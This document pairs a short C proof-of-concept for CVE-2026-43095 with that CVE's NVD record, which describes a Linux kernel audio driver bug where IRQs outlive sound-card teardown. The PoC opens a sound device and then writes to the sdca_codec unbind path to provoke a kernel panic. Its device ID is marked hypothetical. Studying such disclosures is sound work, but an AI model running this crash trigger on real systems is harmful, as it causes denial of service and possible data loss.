CVE-2026-43095

/* * PoC for CVE-2026-43095 (Linux Kernel ASoC SDCA IRQ Cleanup) * This PoC demonstrates the logic to trigger the vulnerability by unbinding * the driver while IRQs are active, causing a potential kernel crash. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define UNBIND_PATH "/sys/bus/platform/drivers/sdca_codec/unbind" #define DEVICE_ID "sdca_codec.0" // Hypothetical device ID int main() { int fd; FILE *fp; printf("[*] Attempting to trigger CVE-2026-43095...\n"); // 1. Open sound device to ensure IRQs are populated and active fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open sound device"); return 1; } printf("[+] Sound device opened, IRQs active.\n"); // 2. Trigger unbind to tear down the sound card component // This simulates the scenario where the card is torn down but IRQs persist fp = fopen(UNBIND_PATH, "w"); if (!fp) { perror("[-] Failed to open unbind path"); close(fd); return 1; } fprintf(fp, "%s", DEVICE_ID); fclose(fp); printf("[+] Driver unbind triggered. Check for kernel panic.\n"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43095", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:22.913", "lastModified": "2026-05-19T20:20:42.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: SDCA: Fix errors in IRQ cleanup\n\nIRQs are enabled through sdca_irq_populate() from component probe\nusing devm_request_threaded_irq(), this however means the IRQs can\npersist if the sound card is torn down. Some of the IRQ handlers\nstore references to the card and the kcontrols which can then\nfail. Some detail of the crash was explained in [1].\n\nGenerally it is not advised to use devm outside of bus probe, so\nthe code is updated to not use devm. The IRQ requests are not moved\nto bus probe time as it makes passing the snd_soc_component into\nthe IRQs very awkward and would the require a second step once the\ncomponent is available, so it is simpler to just register the IRQs\nat this point, even though that necessitates some manual cleanup."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.1", "versionEndExcluding": "6.19.14", "matchCriteriaId": "22CB17E9-BDA0-4794-A588-7A955EDB9A83"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4e53116437e919c4b9a9d95fb73ae14fe0cfc8f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b022da127bd9d2217e8f285e643caf5aff6f7f14", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}